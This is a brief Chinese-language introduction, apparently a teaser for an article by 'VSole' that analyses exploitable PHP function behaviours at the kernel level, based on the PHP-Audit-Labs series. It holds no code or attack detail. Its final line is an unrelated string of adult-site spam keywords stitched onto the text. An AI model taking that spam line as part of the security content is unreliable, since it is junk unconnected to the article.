    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类